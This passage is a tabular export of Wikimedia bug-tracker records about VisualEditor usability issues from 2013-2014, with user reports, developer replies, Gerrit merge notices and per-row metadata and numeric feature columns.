+https://en.wikipedia.org/wiki/Branford,_Florida?veaction=edit",,,1373850409,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+52966,VisualEditor: Provide some way of opening external links within templates,"From an editor on English Wikipedia:
+
+On the whole, I really like it. It's basically intuitive and seems to have massively improved since I first tested it out. The main problem I'm having involves the amount of effort now required to open external links in references (especially those using {{cite web}} etc). As far as I can tell, I have to click on the footnote, then the icon, then the text of the reference, then another icon, then the url parameter, and once I'm done copy and pasting I have to close two pop-ups. Is there any way around this that I've missed? It's not an error or a bug, but it's the main barrier to efficient editing that I've encountered so far. – Arms & Hearts (talk) 16:03, 7 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373310540,1437782973.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-cc3yxgxiksoojspiwoxm,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+496813,VisualEditor: Provide some way of opening external links within templates,"It's now possible to easily open links in citations and image captions using the link inspector. The same isn't true of gallery captions, but that's because we still need to make a visual editor for galleries (T45037).",,,1437782973,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+245615,VisualEditor: Provide some way of opening external links within templates,*** Bug 66549 has been marked as a duplicate of this bug. ***,,,1402688065,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245610,VisualEditor: Provide some way of opening external links within templates,"This affects more than just templates.  You can't click to open any internal or external link that is located inside any ""node"" (galleries, image captions, <references />).",,,1395856047,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,False,,,38,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,1
+52955,VisualEditor: Clearer message when cancelling out of active edit,"An English Wikipedia user requests clarification of the ""cancel"" process, saying:
+
+""If you open a page in the VisualEditor, make a few changes, and then decide to hit the ""Cancel"" button, you get a message that says ""Are you sure you want to go back to view mode without saving first?"". The options are ""OK"" and ""Cancel"", which aren't really proper answers to this yes/no question. As such, I'd like to request that instead the buttons be replaced with ""Yes"" and ""No"", which are clear responses to the question. -Thunderforge (talk) 21:36, 6 July 2013 (UTC)""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373301660,1400137934.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+245010,VisualEditor: Clearer message when cancelling out of active edit,"Change 130394 merged by jenkins-bot:
+Swap from using native confirm() to using an OOUI dialog when cancelling
+
+https://gerrit.wikimedia.org/r/130394",,,1400108562,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+245004,VisualEditor: Clearer message when cancelling out of active edit,"Change 132316 merged by jenkins-bot:
+Update OOjs UI to v0.1.0-pre (80f1797a5c)
+
+https://gerrit.wikimedia.org/r/132316",,,1400103345,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244998,VisualEditor: Clearer message when cancelling out of active edit,"Change 132318 merged by jenkins-bot:
+Update OOjs UI to v0.1.0-pre (80f1797a5c)
+
+https://gerrit.wikimedia.org/r/132318",,,1400102698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244991,VisualEditor: Clearer message when cancelling out of active edit,"Change 132113 merged by jenkins-bot:
+Add confirmation dialog
+
+https://gerrit.wikimedia.org/r/132113",,,1400087288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244982,VisualEditor: Clearer message when cancelling out of active edit,"Change 132318 had a related patch set uploaded by Alex Monk:
+Register OOUI confirmation dialog with windowFactory
+
+https://gerrit.wikimedia.org/r/132318",,,1399588039,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244972,VisualEditor: Clearer message when cancelling out of active edit,"Change 132316 had a related patch set uploaded by Alex Monk:
+Add confirmation dialog messages to MW core
+
+https://gerrit.wikimedia.org/r/132316",,,1399587267,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244963,VisualEditor: Clearer message when cancelling out of active edit,"Change 132113 had a related patch set uploaded by Alex Monk:
+Add confirmation dialog
+
+https://gerrit.wikimedia.org/r/132113",,,1399497998,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,44,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244958,VisualEditor: Clearer message when cancelling out of active edit,"Change 130394 had a related patch set uploaded by Alex Monk:
+Swap from using native confirm() to using an OOUI dialog when cancelling
+
+https://gerrit.wikimedia.org/r/130394",,,1398793970,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+244954,VisualEditor: Clearer message when cancelling out of active edit,"**ignatzmice.wiki** wrote:
+
+A user suggests [Return to editor] [Exit without saving]. https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=567692036",,,1375976639,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+244951,VisualEditor: Clearer message when cancelling out of active edit,"From bug 51655 comment 1:
+
+| The confirmation dialog should have more descriptive buttons, such as
+|   [Discard edits] [Continue editing]
+| , or
+|   [Leave editing mode] [Return to editing]
+| , etc.
+| 
+| For this to happen, it needs to become a jQuery dialog.
+| 
+| In fact, VE shouldn't use native confirm() dialogs; the implementation in
+| most browsers is crappy.",,,1374267990,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+244946,VisualEditor: Clearer message when cancelling out of active edit,*** Bug 51655 has been marked as a duplicate of this bug. ***,,,1374267909,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244942,VisualEditor: Clearer message when cancelling out of active edit,"**ignatzmice.wiki** wrote:
+
+See bug 51655, which should probably be closed as a duplicate. (On enwiki I'd say ""merge"".)",,,1374208197,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+244938,VisualEditor: Clearer message when cancelling out of active edit,"Unfortunately we can't actually replace the ""OK"" and ""Cancel"" buttons' text - that's supplied by the browser as is unchangeable.
+
+What we can do is tweak the message so it's clear what this does, perhaps. Any ideas what might work better?",,,1373519895,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vwwslgbmh4ftbegrc3zg,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,0
+52951,VisualEditor: Handle transclusions within a table better,"**Author:** `adaml`
+
+**Description:**
+When editing a table which includes a transclusion as seen on http://test.wikipedia.org/wiki/TableRowTest it seems to copy the row and paste it before the start of the table. 
+
+In the example above, edit the page and select one of the rows for transclusion and change parameter 1 to a different value, all seems to be good until you save the page which screws it up
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50589
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50607",Medium,50.0,1373299560,1404172723.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+244718,VisualEditor: Handle transclusions within a table better,The table will still be broken after an edit as Parsoid doesn't run with context yet.,,,1404212487,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244715,VisualEditor: Handle transclusions within a table better,Fixed by gerrit 140439.,,,1404172723,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,52,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+244712,VisualEditor: Handle transclusions within a table better,This might be related to VisualEditor bug 50607 and foster-parenting.,,,1377030328,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+244709,VisualEditor: Handle transclusions within a table better,"Confirmed.  This is probably the same problem as bug 50589, but this is a nice simple case and might be easier to solve.",,,1374457884,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-h7tfqm7vbzcm7dpmeabg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+52943,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"An editor had an issue on English Wikipedia with the hyperlink tool when used within the reference editor.
+
+Specifically, he formatted a reference manually and then used the hyperlink tool within the reference editor to provide an external link to the work. He found that many options were offered, to the point that the reference box was obscured by the list of possible links and he had to just guess where to paste the actual url. 
+
+I reproduced this and took a screenshot. 
+
+http://en.wikipedia.org/wiki/File:VisualEditor_Reference_issue.jpg
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373294940,1552091050.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bmll3l66rbyvzumaunet,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+1240023,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),I can't reproduce this. This interface has changed many times since 2013 and presumably this was fixed.,,,1552091050,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,296,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+244197,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:
+
+Refreshing cache didn't help - I refreshed with VE open and again with the link dialog open. I noticed it didn't occur when adding a normal link in the body, only when adding a link in a reference.",,,1373340093,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+244191,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:
+
+Screenshot, Chrome, Mac running OSX 10.8.4
+
+Pop-up list sits above textbox, text box for group appears in pop-up list.
+
+**Attached**: {F11506}",,,1373339872,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+244183,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"(In reply to comment #3)
+> When adding a new reference:
+> 
+> * I typed in ""this is a lunk"" (I mistyped link) 
+> * Selected ""lunk"" and click on the link icon
+> 
+> This produces the pop-up list of suggested links, but it sits over the top of
+> the text box, preventing the user from seeing what is typed.
+
+OK, that's definitely broken behaviour - see the attachment I added just now for expected behaviour. Can you give a screenshot of what it looks like for you (is Maggie's link - http://en.wikipedia.org/wiki/File:VisualEditor_Reference_issue.jpg - accurate)? Does is still occur? In what skin? Do you have some gadgets installed, and does it occur if you disable them?
+
+> As a secondary problem, (which is why I used ""lunk"" as an example above), if
+> the pop-up list is long enough to extend over the ""Use this group"" textbox,
+> the textbox appears as an item in the pop-up list. You can see it a bit in
+> the attachment Maggie provided. If the pop-up list is longer, it is inserted
+> between elements.
+
+That won't happen if the link inspector's suggestion box appears in the correct mode.
+
+> This does not occur in Chrome under Windows 7, as pop-up list appears below
+> the text box, and doesn't have the issue with the ""Use this group"" textbox.
+
+This looks horribly like a caching bug - what happens if you hard-refresh (in Chrome on Mac, Command-Shift-R on any page whilst in VisualEditor mode)?",,,1373338512,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+244176,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"Created attachment 12795
+Expected behaviour if adding a link in a DOM dialog like a reference
+
+**Attached**: {F11505}",,,1373338199,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+244170,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:
+
+I've been able to recreate the behaviour using Chrome on the iMac.",,,1373337830,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244167,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"**adam.jenkins** wrote:
+
+Hi! I'm currently running Chrome 26 on a MacBook Pro retina running 10.8.4, but I think I also had it on an iMac, but I'll confirm. When adding a new reference:
+
+* I typed in ""this is a lunk"" (I mistyped link) 
+* Selected ""lunk"" and click on the link icon
+
+This produces the pop-up list of suggested links, but it sits over the top of the text box, preventing the user from seeing what is typed. A url can still be pasted in. If the user types a URL, the pop-up list will disappear, but reappear after any pause in typing, hiding the box again. (This reappearance would be desired behaviour normally).
+
+As a secondary problem, (which is why I used ""lunk"" as an example above), if the pop-up list is long enough to extend over the ""Use this group"" textbox, the textbox appears as an item in the pop-up list. You can see it a bit in the attachment Maggie provided. If the pop-up list is longer, it is inserted between elements.
+
+If a URL is entered the list reduces in size to two elements, the link in blue as an ""External link"", and the link in red as a ""New page"". However, the window still slightly overlaps the text box for entering the URL, and if accidently clicked when trying to select the textbox again, the link is changed to a wikilink and the options disappear. But there is no indication that this has occurred. This seems in part to be the ""new pages appear as blue links"" bug, so it might be fixed as part of that.
+
+This does not occur in Chrome under Windows 7, as pop-up list appears below the text box, and doesn't have the issue with the ""Use this group"" textbox.",,,1373335844,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+244165,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"Maggie, I am not able to reproduce this behavior in Chrome or Firefox; the references dialog expands with a scrollbar if needed. Are you still getting this? If so could you provide more detailed steps to reproduce and browser info? Thanks!",,,1373332126,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+244162,VisualEditor: Hyperlink tool obscures reference box when many options (CSS caching issue?),"I should add his words (User:Bilby):
+
+""Short version - the pop-list of suggested wikilinks was malformed if it was long enough to cover the group name box, and prevents the user from seeing the text box when pasting a URL. When a URL is blindly pasted, it is easy to accidentally click on the wikilink option, but there is no indicator that this has occurred once the pop-up list disappears.""
+
+See http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563382661#Adding_references_with_links",,,1373295030,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-bmll3l66rbyvzumaunet,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+52929,User preference to disable VisualEditor,"It's strange that I can't find a bug for this. Lots of user on en.wiki complained loudly about this [1], but nobody succeded to write a bug report for it? Well, here it is:
+
+Please provide an option in user preferences to turn VE off. Some users just don't like it and don't want to have an extra tab which they don't use anyway. The gadget isn't perfect, as the tab might appear for short time before it is removed again, and has to updated when VE integration changes. The only reason I found for why there is no such option is this:
+
+""It was planned, but the code turned out to be seriously buggy at the last minute. Getting it really, truly off (rather than just covered up) is more complicated than expected."" Whatamidoing (WMF) (talk) 06:32, 2 July 2013 (UTC)
+
+Now with the minimized amount of code that is loaded at startup, it is acceptable to load the code, but just not to execute it. Adding
+
+if ( !mw.user.options.get( 'visualeditor-enable' ) ) {
+ return;
+}
+
+near to the end of modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js should be all that's really needed.
+
+[1] https://en.wikipedia.org/wiki/Wikipedia:Vpt#.22Opt_out.22_of_VE_needed_under_preferences
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/Wikipedia:Vpt#.22Opt_out.22_of_VE_needed_under_preferences
+**See Also**:
